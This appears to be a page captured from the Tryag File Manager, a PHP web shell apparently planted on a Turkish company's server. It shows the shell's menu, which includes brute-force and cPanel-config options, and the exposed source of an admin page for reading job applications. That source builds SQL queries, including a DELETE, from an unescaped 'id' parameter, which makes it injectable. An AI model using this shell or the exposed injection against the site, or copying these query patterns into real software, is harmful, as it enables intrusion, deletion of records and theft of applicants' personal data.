Tryag File Manager
Home
||
Turbo Force
||
B-F Config_Cpanel
Current Path :
/
home
/
zeplinbanyo
/
public_html
/
panel
/
sayfalar
/
Or
Select Your Path :
Upload File :
New :
File
Dir
/home/zeplinbanyo/public_html/panel/sayfalar/ik_oku.php
<?php echo !defined("GUVENLIK") ? die("Erisim Engellendi!.") : null;?> <?php $mesajSorgu = Sorgu("SELECT * FROM ik"); $mesajSonuc = Sonuc($mesajSorgu); ?> <?php $duzenlenecek_id = g('id'); $mesajlar = Sonuc(Sorgu("SELECT * FROM ik WHERE id = '$duzenlenecek_id'")); if($_GET['islem']=="sil") { $id = g('id'); $mesajsil = mysql_query("DELETE FROM ik WHERE id='$id'"); header("Location:ik.html"); $bilgi = ' <div class="alert alert-success alert-dismissable"> <button type="button" class="close" data-dismiss="alert" aria-hidden="true">×</button> Başarı ile Silinmiştir ! </div> ' ; } ?> <div class="content-wrapper"> <!-- Content Header (Page header) --> <section class="content-header"> <h1> Mesaj Oku </h1> <ol class="breadcrumb"> <li><a href="#"><i class="fa fa-home"></i> Anasayfa</a></li> <li class="active">Mesaj Oku</li> </ol> </section> <!-- Main content --> <section class="content"> <div class="row"> <?php echo $bilgi;?> <div class="col-md-12"> <div class="box box-primary"> <div class="box-header with-border"> <h3 class="box-title">Mesaj Oku</h3> <div class="box-tools pull-right"> <a href="#" class="btn btn-box-tool" data-toggle="tooltip" title="Previous"><i class="fa fa-chevron-left"></i></a> <a href="#" class="btn btn-box-tool" data-toggle="tooltip" title="Next"><i class="fa fa-chevron-right"></i></a> </div> </div><!-- /.box-header --> <div class="box-body no-padding"> <div class="mailbox-read-info"> <h3>Gelen Başvurular</h3> <h5>Gönderen: <?php echo $mesajlar->email;?> <span class="mailbox-read-time pull-right"><?php echo $mesajlar->tarih;?></span></h5> </div><!-- /.mailbox-read-info --> <div class="mailbox-controls with-border text-center"> <div class="btn-group"> <a class="btn btn-default btn-sm" href="?islem=sil&id=<?php echo $mesajlar->id;?>" title="Sil" onclick="return confirm('Silmek istediğinize emin misiniz ?')"><i class="fa fa-trash-o"></i></a> </div><!-- /.btn-group --> <button class="btn btn-default btn-sm" data-toggle="tooltip" title="Yazdır"> <i class="fa fa-print"></i></button> </div><!-- /.mailbox-controls --> <div class="mailbox-read-message"> <p><?php echo $mesajlar->pozisyon;?></p> <p><?php echo $mesajlar->telefon;?></p> <p><?php echo $mesajlar->adres;?></p> </div><!-- /.mailbox-read-message --> </div><!-- /.box-body --> <!-- /.box-footer --> <div class="box-footer"> <?php if($mesajlar->cw){?> <ul class="mailbox-attachments clearfix"> <li> <span class="mailbox-attachment-icon"><i class="fa fa-file-pdf-o"></i></span> <div class="mailbox-attachment-info"> <a href="../uploads/ik/<?php echo $mesajlar->cw;?>" target="_blank" class="mailbox-attachment-name"><i class="fa fa-paperclip"></i> <?php echo $mesajlar->cw;?></a> <span class="mailbox-attachment-size"> <?php $dosya_adi = "../uploads/ik/".$mesajlar->cw.""; $dosya_boyutu = filesize($dosya_adi);?> <?php echo $dosya_boyutu;?> KB <a href="../uploads/ik/<?php echo $mesajlar->cw;?>" target="_blank" class="btn btn-default btn-xs pull-right"><i class="fa fa-cloud-download"></i></a> </span> </div> </li> </ul> <?php }?> <div class="pull-right"> </div> <a class="btn btn-default" href="?islem=sil&id=<?php echo $mesajlar->id;?>" onclick="return confirm('Silmek istediğinize emin misiniz ?')"><i class="fa fa-trash-o"></i> Sil</a> <button class="btn btn-default"><i class="fa fa-print"></i> Yazdır</button> </div><!-- /.box-footer --> </div><!-- /. box --> </div><!-- /.col --> </div><!-- /.row --> </section><!-- /.content --> </div> <!-- jQuery 2.1.3 --> <script src="plugins/jQuery/jQuery-2.1.3.min.js"></script> <!-- Bootstrap 3.3.2 JS --> <script src="bootstrap/js/bootstrap.min.js" type="text/javascript"></script> <!-- Slimscroll --> <script src="plugins/slimScroll/jquery.slimscroll.min.js" type="text/javascript"></script> <!-- FastClick --> <script src='plugins/fastclick/fastclick.min.js'></script> <!-- AdminLTE App --> <script src="dist/js/app.min.js" type="text/javascript"></script> <!-- AdminLTE for demo purposes --> <script src="dist/js/demo.js" type="text/javascript"></script>